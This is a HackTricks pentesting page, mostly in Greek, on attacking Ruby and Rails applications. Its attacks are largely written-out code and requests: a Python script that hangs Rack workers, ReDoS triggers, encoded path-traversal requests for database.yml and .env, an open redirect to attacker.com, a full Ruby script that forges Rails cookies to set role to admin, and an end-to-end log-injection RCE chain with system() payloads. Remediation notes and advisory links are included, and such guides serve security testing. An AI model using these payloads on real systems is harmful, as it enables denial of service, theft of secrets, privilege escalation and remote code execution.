Ruby Tricks
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Μεταφόρτωση αρχείου για RCE
Όπως εξηγείται στο αυτό το άρθρο, το ανέβασμα ενός .rb αρχείου σε ευαίσθητους καταλόγους όπως config/initializers/ μπορεί να οδηγήσει σε remote code execution (RCE) σε εφαρμογές Ruby on Rails.
Συμβουλές:
- Άλλες τοποθεσίες boot/eager-load που εκτελούνται στην εκκίνηση της εφαρμογής είναι επίσης επικίνδυνες όταν είναι εγγράψιμες (π.χ.,
config/initializers/είναι το κλασικό παράδειγμα). Αν βρείτε ένα arbitrary file upload που καταλήγει οπουδήποτε κάτω απόconfig/και αργότερα αξιολογείται/required, μπορεί να αποκτήσετε RCE κατά το boot. - Αναζητήστε dev/staging builds που αντιγράφουν user-controlled αρχεία μέσα στην container image όπου το Rails θα τα φορτώσει κατά την εκκίνηση.
Active Storage image transformation → command execution (CVE-2025-24293)
Όταν μια εφαρμογή χρησιμοποιεί Active Storage με image_processing + mini_magick, και περνάει μη-εμπιστευόμενες παραμέτρους σε μεθόδους μετασχηματισμού εικόνας, εκδόσεις του Rails πριν από τις 7.1.5.2 / 7.2.2.2 / 8.0.2.1 μπορούν να επιτρέψουν command injection επειδή ορισμένες μεθόδοι μετασχηματισμού επιτρέπονταν κατά λάθος από προεπιλογή.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t] and/or params[:v] are attacker-controlled.
-
Τι να δοκιμάσετε κατά τη διάρκεια των δοκιμών
-
Εντοπίστε endpoints που δέχονται variant/processing options, ονόματα transformation, ή arbitrary ImageMagick arguments.
-
Κάντε fuzz στα
params[:t]καιparams[:v]για ύποπτα errors ή execution side-effects. Αν μπορείτε να επηρεάσετε το όνομα της μεθόδου ή να περάσετε raw arguments που φτάνουν στο MiniMagick, μπορεί να αποκτήσετε code exec στον host που τρέχει τον image processor. -
Αν έχετε μόνο read-access στα παραγόμενα variants, δοκιμάστε blind exfiltration μέσω crafted ImageMagick operations.
-
Αποκατάσταση/ανιχνεύσεις
-
Αν δείτε Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 με Active Storage +
image_processing+mini_magickκαι μετασχηματισμούς ελεγχόμενους από τον χρήστη, θεωρήστε το εκμεταλλεύσιμο. Συνιστάται αναβάθμιση και επιβολή αυστηρών allowlists για μεθόδους/παραμέτρους καθώς και μια hardened ImageMagick policy.
Rack::Static LFI / path traversal (CVE-2025-27610)
Αν το target stack χρησιμοποιεί Rack middleware άμεσα ή μέσω frameworks, εκδόσεις του rack πριν από 2.2.13, 3.0.14 και 3.1.12 επιτρέπουν Local File Inclusion μέσω Rack::Static όταν το :root είναι unset/misconfigured. Encoded traversal στο PATH_INFO μπορεί να αποκαλύψει αρχεία κάτω από τον working directory της διεργασίας ή ένα μη αναμενόμενο root.
- Ψάξτε για apps που mountάρουν
Rack::Staticστοconfig.ruή στα middleware stacks. Δοκιμάστε encoded traversals ενάντια σε static paths, για παράδειγμα:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Προσαρμόστε το prefix ώστε να ταιριάζει με τα διαμορφωμένα urls:. Αν η εφαρμογή απαντήσει με περιεχόμενο αρχείου, πιθανότατα έχετε LFI προς οτιδήποτε κάτω από το επιλυθέν :root.
- Μέτρο αντιμετώπισης: αναβαθμίστε Rack; διασφαλίστε ότι το
:rootδείχνει μόνο σε έναν κατάλογο με public files και έχει οριστεί ρητά.
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Το Rack < 3.0.9.1 και < 2.2.8.1 ξόδευε υπερ-γραμμικό χρόνο στο parsing κατασκευασμένων Content-Type: multipart/form-data headers. Ένα μόνο POST με μια γιγαντιαία λίστα παραμέτρων A= μπορεί να κολλήσει έναν worker του Puma/Unicorn και να προκαλέσει DoS ή εξάντληση της ουράς αιτήσεων.
- Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- Λειτουργεί ενάντια σε οποιοδήποτε Rack-based stack (Rails/Sinatra/Hanami/Grape). Αν βρίσκεται πίσω από nginx/haproxy με keep-alive, επαναλάβετέ το παράλληλα για να εξαντλήσετε τους workers.
- Επιδιορθώθηκε κάνοντας τον parser γραμμικό· ψάξτε για έκδοση του gem
rack<3.0.9.1ή <2.2.8.1. Στις αξιολογήσεις, επισημάνετε ότι τα WAF σπάνια μπλοκάρουν αυτό επειδή το header είναι συντακτικά έγκυρο.
REXML XML parser ReDoS (CVE-2024-49761)
Το gem REXML < 3.3.9 (Ruby 3.1 και νωρίτερα) κάνει καταστροφικό backtracking όταν διαβάζει hex numeric character references που περιέχουν μεγάλες ακολουθίες ψηφίων (π.χ., �x41;). Οποιοδήποτε XML επεξεργάζεται το REXML ή βιβλιοθήκες που το τυλίγουν (SOAP/XML API clients, SAML, SVG uploads) μπορεί να καταχραστεί για εξάντληση CPU.
Ελάχιστο trigger για ένα Rails endpoint που αναλύει XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Εφαρμογές που χρησιμοποιούν το cgi gem (default in many Rack stacks) μπορούν να παγώσουν με ένα μόνο κακόβουλο header:
CGI::Cookie.parseήταν υπερ-γραμμικό; τεράστια cookie strings (χιλιάδες delimiters) ενεργοποιούν O(N²) συμπεριφορά.CGI::Util#escapeElementregex επέτρεπε ReDoS στο HTML escaping.
Και τα δύο θέματα έχουν διορθωθεί στο cgi 0.3.5.1 / 0.3.7 / 0.4.2. Για pentests, στείλτε ένα τεράστιο Cookie: header ή τροφοδοτήστε untrusted HTML σε helper code και παρακολουθήστε το worker lockup. Συνδυάστε με keep-alive για ενίσχυση.
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
Το googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) έκανε ανεπαρκή same-origin έλεγχο στην παράμετρο proceedto. Μια κακομορφωμένη URL όπως proceedto=//attacker.com/%2F.. παρακάμπτει τον έλεγχο και ανακατευθύνει τον χρήστη σε εξωτερικό site ενώ διατηρεί Rails flash/session cookies.
Exploit flow:
- Victim clicks crafted Google Sign-In link hosted by attacker.
- After authentication, the gem redirects to attacker-controlled domain, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
- If the app stores short-lived tokens or magic links in flash, this can be turned into account takeover.
Κατά τη δοκιμή, grep Gemfile.lock για googlesign_in < 1.3.0 και δοκιμάστε κακομορφωμένες τιμές proceedto. Επιβεβαιώστε μέσω Location header και cookie reflection.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
Ruby to decrypt/forge cookies
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])
salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”
Modify and re-encrypt (example: escalate role)
plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”
</details>
Σημειώσεις:
- Παλαιότερες εφαρμογές μπορεί να χρησιμοποιούν AES-256-CBC και salts `encrypted cookie` / `signed encrypted cookie`, ή JSON/Marshal serializers. Προσαρμόστε τα salts, cipher, και serializer αναλόγως.
- Σε περίπτωση compromise/assessment, ανανεώστε το `secret_key_base` για να ακυρώσετε όλα τα υπάρχοντα cookies.
## Δείτε επίσης (ευπάθειες ειδικά για Ruby/Rails)
- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
Όταν μια εφαρμογή (συχνά ένα απλό Rack/Sinatra/Rails endpoint) και τα δύο:
- καταγράφει μια συμβολοσειρά που ελέγχεται από τον χρήστη αυτούσια, και
- αργότερα `load`-ει ένα αρχείο του οποίου το path προέρχεται από την ίδια συμβολοσειρά (μετά από `Pathname#cleanpath`),
Συχνά μπορείτε να πετύχετε απομακρυσμένη εκτέλεση κώδικα δηλητηριάζοντας το log και στη συνέχεια αναγκάζοντας την εφαρμογή να `load`-άρει το αρχείο log. Βασικά primitives:
- Το Ruby `load` αξιολογεί το περιεχόμενο του στοχευόμενου αρχείου ως Ruby ανεξάρτητα από την επέκταση αρχείου. Οποιοδήποτε αναγνώσιμο αρχείο κειμένου των οποίων τα περιεχόμενα αναλύονται ως Ruby θα εκτελεστεί.
- Το `Pathname#cleanpath` συμπτύσσει τα segments `.` και `..` χωρίς να προσπελάζει το filesystem, επιτρέποντας path smuggling: απορρίμματα ελεγχόμενα από τον επιτιθέμενο μπορούν να προστεθούν στην αρχή για logging ενώ το καθαρισμένο path εξακολουθεί να επιλύεται στο επιθυμητό αρχείο προς εκτέλεση (π.χ., `../logs/error.log`).
### Ελάχιστο ευάλωτο μοτίβο
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Γιατί το log μπορεί να περιέχει έγκυρο Ruby
Logger γράφει γραμμές προθέματος όπως:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
Στο Ruby, το # ξεκινά ένα σχόλιο και το 9/2/2025 είναι απλώς αριθμητική. Για να εισάγετε έγκυρο Ruby κώδικα πρέπει να:
- Ξεκινήστε το payload σε νέα γραμμή ώστε να μην σχολιάζεται από το
#στη γραμμή INFO· στείλτε ένα αρχικό newline (\nή%0A). - Κλείστε το ανοιχτό
[που εισήχθη από τη γραμμή INFO. Ένα συνηθισμένο κόλπο είναι να ξεκινήσετε με]και προαιρετικά να ικανοποιήσετε τον parser με][0]=1. - Στη συνέχεια τοποθετήστε αυθαίρετο Ruby (π.χ.,
system(...)).
Παράδειγμα του τι θα καταλήξει στο log μετά από ένα αίτημα με crafted param:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Κρυφή μεταφορά μιας μόνο συμβολοσειράς που τόσο καταγράφει κώδικα όσο και επιλύεται στη διαδρομή των logs
Θέλουμε μία attacker-controlled συμβολοσειρά που:
- όταν καταγραφεί raw, περιέχει το Ruby payload μας, και
- όταν περάσει μέσω
Pathname.new(<input>).cleanpath, επιλύεται σε../logs/error.logώστε το επακόλουθοloadνα εκτελέσει το μόλις δηλητηριασμένο αρχείο καταγραφής.
Pathname#cleanpath αγνοεί τα schemes και συμπτύσσει τα traversal components, οπότε το παρακάτω λειτουργεί:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Το
#πριν από το://διασφαλίζει ότι η Ruby αγνοεί το υπόλοιπο όταν ο log εκτελείται, ενώ ηcleanpathεξακολουθεί να μειώνει το επίθημα σε../logs/error.log. - Το leading newline διακόπτει τη γραμμή INFO; το
]κλείνει την κρεμάμενη αγκύλη; το][0]=1ικανοποιεί τον parser.
Εκμετάλλευση από άκρο σε άκρο
- Στείλτε τα ακόλουθα ως το όνομα του backup script (URL-encode την πρώτη newline ως
%0Aαν χρειάζεται):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- Η εφαρμογή καταγράφει την ακατέργαστη συμβολοσειρά σας στο
logs/error.log. - Η εφαρμογή υπολογίζει το
cleanpath, το οποίο επιλύεται σε../logs/error.log, και καλείloadπάνω του. - Η Ruby εκτελεί τον κώδικα που εγχύσατε στο log.
Για να εξάγετε ένα αρχείο σε ένα περιβάλλον τύπου CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (ο πρώτος χαρακτήρας είναι νέα γραμμή):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Αναφορές
- Ανακοίνωση ασφάλειας Rails: CVE-2025-24293 — μη ασφαλείς μέθοδοι μετασχηματισμού του Active Storage (διορθώθηκε στις 7.1.5.2 / 7.2.2.2 / 8.0.2.1)
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Τεκμηρίωση Ruby Pathname.cleanpath
- Ruby Logger
- Πώς λειτουργεί το load στο Ruby
- Ειδοποίηση για Rack multipart ReDoS (CVE-2024-25126)
- Ειδοποιήσεις ασφάλειας Ruby για CGI / URI (CVE-2025-27219/27220/27221)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


